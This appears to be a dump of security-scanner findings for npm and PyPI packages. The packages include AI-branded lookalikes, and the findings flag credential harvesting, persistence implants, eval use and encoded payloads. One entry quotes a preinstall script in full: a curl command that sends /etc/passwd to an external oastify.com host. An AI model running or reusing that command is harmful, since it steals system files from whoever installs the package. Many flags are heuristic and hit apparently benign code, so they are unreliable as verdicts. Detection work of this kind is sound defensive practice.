• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/ios/controller/scratchpad/service.py:20

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'cursor-distill' matches AI hallucination template [node] + [cursor] + [distill].
• HIGHClaims critical enterprise brand identity ('CURSOR').
• HIGHPublisher email 'aiden@hadisi.com' is not affiliated with official vendor domain.
• HIGHPackage registered recently (53 days ago) during the active AI hallucination slopsquatting wave.
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/agent.js:224 (+4 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/agent.js:92 (+1 more occurrence(s) elsewhere)
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/dist/scheduler.js:35
• CRITICALSOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/dist/scheduler.js

• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/dist/agent.js:224 (+4 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/agent.js:92 (+1 more occurrence(s) elsewhere)
• SYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/dist/scheduler.js:35
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/dist/scheduler.js

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name '@akasecurity/plugin-claude-code' matches AI hallucination template [node] + [claude] + [plugin-claude-code].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (55 days ago) during the active AI hallucination slopsquatting wave.
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Hardcoded GitHub Personal Access Token' found in package/scripts/backfill.js:24258 (+9 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/scripts/backfill.js:22890 (+9 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/backfill.js:22658 (+10 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in package/scripts/backfill.js:22677 (+9 more occurrence(s) elsewhere)

• EXFILTRATION_DESTINATION_DETECTED: 'Hardcoded GitHub Personal Access Token' found in package/scripts/backfill.js:24258 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/scripts/backfill.js:22890 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/backfill.js:22658 (+10 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in package/scripts/backfill.js:22677 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/scripts/backfill.js:22085 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/scripts/backfill.js:1990 (+12 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/scripts/backfill.js:23097 (+9 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/scripts/backfill.js:22217 (+10 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'vllm-hust' matches AI hallucination template [python] + [vllm] + [hust].
• HIGHClaims critical enterprise brand identity ('VLLM').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (172 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/.buildkite/check-wheel-size.py:12
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/.buildkite/performance-benchmarks/scripts/compare-json-results.py:1141
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/backend_request_func.py:223
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/benchmark_batch_invariance.py:108

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/.buildkite/check-wheel-size.py:12
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/.buildkite/performance-benchmarks/scripts/compare-json-results.py:1141
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/backend_request_func.py:223
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/benchmark_batch_invariance.py:108
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/disagg_benchmarks/disagg_prefill_proxy_server.py:125
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/kernels/benchmark_block_fp8_gemm.py:7
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/kernels/benchmark_device_communicators.py:301
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_hust-0.17.2.post1/benchmarks/kernels/benchmark_fused_collective.py:976

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (10 days ago) during the active AI hallucination slopsquatting wave.
• CRITICALMODULE_TOPLEVEL_EXECUTION: 'subprocess.Popen' executed at module scope (runs on import) in pyrecrawl-0.7.5/scripts/probe_stdio.py:12
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.7.5/scripts/probe_stdio.py:12
• CRITICALMODULE_TOPLEVEL_EXECUTION: 'subprocess.Popen' executed at module scope (runs on import) in pyrecrawl-0.7.5/scripts/probe_v2.py:19
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.7.5/scripts/probe_v2.py:19
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.7.5/scripts/stats.py:56
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in pyrecrawl-0.7.5/src/pyrecrawl/cli.py:67

• MODULE_TOPLEVEL_EXECUTION: 'subprocess.Popen' executed at module scope (runs on import) in pyrecrawl-0.7.5/scripts/probe_stdio.py:12
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.7.5/scripts/probe_stdio.py:12
• MODULE_TOPLEVEL_EXECUTION: 'subprocess.Popen' executed at module scope (runs on import) in pyrecrawl-0.7.5/scripts/probe_v2.py:19
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.7.5/scripts/probe_v2.py:19
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.7.5/scripts/stats.py:56
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in pyrecrawl-0.7.5/src/pyrecrawl/cli.py:67
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in pyrecrawl-0.7.5/src/pyrecrawl/cli.py:281
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in pyrecrawl-0.7.5/src/pyrecrawl/cli.py:22

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (145 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/daemon/checker.js:18 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/config.js:6 (+3 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/commands/daemon.js:23
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/dist/commands/daemon.js:104
• CRITICALSOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/dist/commands/daemon.js

• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/daemon/checker.js:18 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/config.js:6 (+3 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/commands/daemon.js:23
• SYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/dist/commands/daemon.js:104
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/dist/commands/daemon.js
• SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/crypto/keychain.js:19 (+1 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• HIGHClaims critical enterprise brand identity ('LLAMA').
• HIGHPublisher email 'oss@shamit.in' is not affiliated with official vendor domain.
• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_pydist-0.94.0/llama_cpp/convert_model.py:67
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/scripts/changelog/github_client.py:27
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in llama_cpp_pydist-0.94.0/scripts/changelog/github_client.py:27
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/scripts/generate_changelog.py:48
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in llama_cpp_pydist-0.94.0/scripts/generate_changelog.py:48

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_pydist-0.94.0/llama_cpp/convert_model.py:67
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/scripts/changelog/github_client.py:27
• SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in llama_cpp_pydist-0.94.0/scripts/changelog/github_client.py:27
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/scripts/generate_changelog.py:48
• SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in llama_cpp_pydist-0.94.0/scripts/generate_changelog.py:48
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/vendor_llama_cpp_pydist/llama.cpp/conversion/base.py:26
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/vendor_llama_cpp_pydist/llama.cpp/conversion/bert.py:117
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_pydist-0.94.0/vendor_llama_cpp_pydist/llama.cpp/conversion/t5.py:30

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'claude-taste' matches AI hallucination template [node] + [claude] + [taste].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (28 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/hooks/capture.mjs:40 (+2 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/cli.mjs:209
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'Shell Profile Backdoor Injection' found in package/src/cli.mjs:206
• CRITICALSOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/src/cli.mjs

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/hooks/capture.mjs:40 (+2 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/cli.mjs:209
• SYSTEM_PERSISTENCE_TAMPERING: 'Shell Profile Backdoor Injection' found in package/src/cli.mjs:206
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/src/cli.mjs

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name '@akasecurity/ai-tc-claude-code' matches AI hallucination template [node] + [claude] + [ai-tc-claude-code].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (55 days ago) during the active AI hallucination slopsquatting wave.
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Hardcoded GitHub Personal Access Token' found in package/scripts/apply-suppressions.js:35037 (+10 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/scripts/apply-suppressions.js:33671 (+10 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/apply-suppressions.js:33433 (+11 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in package/scripts/apply-suppressions.js:33454 (+10 more occurrence(s) elsewhere)

• EXFILTRATION_DESTINATION_DETECTED: 'Hardcoded GitHub Personal Access Token' found in package/scripts/apply-suppressions.js:35037 (+10 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in package/scripts/apply-suppressions.js:33671 (+10 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/scripts/apply-suppressions.js:33433 (+11 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in package/scripts/apply-suppressions.js:33454 (+10 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'atob()' found in package/scripts/apply-suppressions.js:1899 (+14 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/scripts/apply-suppressions.js:33877 (+10 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/scripts/apply-suppressions.js:32335 (+13 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/scripts/backfill.js:32489 (+9 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (158 days ago) during the active AI hallucination slopsquatting wave.
• HIGHMISSING_SOURCE_REPOSITORY_URL
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/src/generate.js:6790 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/generate.js:2903 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/generate.js:167 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/server.js:104

• MISSING_SOURCE_REPOSITORY_URL
• SOURCE_CODE_DYNAMIC_EXECUTION: 'new Function()' found in package/src/generate.js:6790 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/generate.js:2903 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/src/generate.js:167 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/server.js:104
• SOURCE_CODE_DYNAMIC_CODE_LOADER: execution primitive combined with decode/network/obfuscation call in package/src/server.js

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (158 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/api.py:190
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/api.py:54
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/autostart.py:76
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/autostart.py:30
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'Shortcut Hijacking (.lnk Rewrite / Browser Extension Sideload)' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/autostart.py:67

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/api.py:190
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/api.py:54
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/autostart.py:76
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/autostart.py:30
• SYSTEM_PERSISTENCE_TAMPERING: 'Shortcut Hijacking (.lnk Rewrite / Browser Extension Sideload)' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/autostart.py:67
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in claude_monitor_usage-2.6.1/src/claude_usage_monitor/autostart.py
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/cache.py:17
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_monitor_usage-2.6.1/src/claude_usage_monitor/config.py:37

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'vllm-fixed' matches AI hallucination template [python] + [vllm] + [fixed].
• HIGHClaims critical enterprise brand identity ('VLLM').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage registered 334 days ago within the 1-year AI tool proliferation window.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/.buildkite/check-wheel-size.py:11
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/.buildkite/nightly-benchmarks/scripts/summary-nightly-results.py:72
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/backend_request_func.py:275
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/benchmark_utils.py:19

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/.buildkite/check-wheel-size.py:11
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/.buildkite/nightly-benchmarks/scripts/summary-nightly-results.py:72
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/backend_request_func.py:275
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/benchmark_utils.py:19
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/disagg_benchmarks/disagg_prefill_proxy_server.py:16
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/kernels/benchmark_aqlm.py:16
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in vllm_fixed-1.0.0/benchmarks/kernels/benchmark_machete.py:36
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in vllm_fixed-1.0.0/csrc/moe/marlin_moe_wna16/generate_kernels.py:50

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'ringcentral-google-drive-notification-add-in' matches AI hallucination template [ringcentral] + [google] + [drive].
• HIGHClaims critical enterprise brand identity ('GOOGLE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHLIFECYCLE_SCRIPT: 'preinstall' -> '/usr/bin/curl --data '@/etc/passwd' $(hostname).tsp768bg6f5vqke8q8r5twahj8pzdq1f.oastify.com'
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script
• HIGHMISSING_SOURCE_REPOSITORY_URL
• INFOModerate community usage with 247 monthly downloads.

• LIFECYCLE_SCRIPT: 'preinstall' -> '/usr/bin/curl --data '@/etc/passwd' $(hostname).tsp768bg6f5vqke8q8r5twahj8pzdq1f.oastify.com'
• SUSPICIOUS_SHELL_COMMAND: Pattern 'curl' in 'preinstall' script
• MISSING_SOURCE_REPOSITORY_URL

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'odoo8-addon-shopinvader-google-shopping' matches AI hallucination template [odoo8] + [google] + [shopinvader].
• HIGHClaims critical enterprise brand identity ('GOOGLE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• INFOEstablished pre-AI legacy package registered 1661 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_shopinvader_google_shopping-8.0.1.0.0.99.dev5-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_shopinvader_google_shopping-8.0.1.0.0.99.dev5-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_shopinvader_google_shopping-8.0.1.0.0.99.dev5-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_shopinvader_google_shopping-8.0.1.0.0.99.dev5-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'odoo8-addon-shopinvader-stripe' matches AI hallucination template [odoo8] + [stripe] + [shopinvader].
• HIGHClaims critical enterprise brand identity ('STRIPE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• INFOEstablished pre-AI legacy package registered 1661 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_shopinvader_stripe-8.0.1.0.0.99.dev6-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_shopinvader_stripe-8.0.1.0.0.99.dev6-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_shopinvader_stripe-8.0.1.0.0.99.dev6-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_shopinvader_stripe-8.0.1.0.0.99.dev6-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'odoo9-addon-website-google-tag-manager' matches AI hallucination template [django] + [google] + [auth].
• HIGHClaims critical enterprise brand identity ('GOOGLE').
• HIGHPublisher email 'support@odoo-community.org' is not affiliated with official vendor domain.
• INFOEstablished pre-AI legacy package registered 3436 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo9_addon_website_google_tag_manager-9.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo_addons',));ie = os.path.exists(os.p'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo9_addon_website_google_tag_manager-9.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo_addons',));ie = os.path.exists(os.p'

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo9_addon_website_google_tag_manager-9.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo_addons',));ie = os.path.exists(os.p'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo9_addon_website_google_tag_manager-9.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo_addons',));ie = os.path.exists(os.p'

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('LLAMA').
• HIGHPublisher email 'staneyffer@gmail.com' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_hf_to_gguf.py:28
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_llama_ggml_to_gguf.py:14
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in llama_cpp_server_py_core-0.1.4/llama.cpp/convert_lora_to_gguf.py:22
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in llama_cpp_server_py_core-0.1.4/llama.cpp/ggml/src/ggml-kompute/kompute/scripts/convert_shaders.py:100
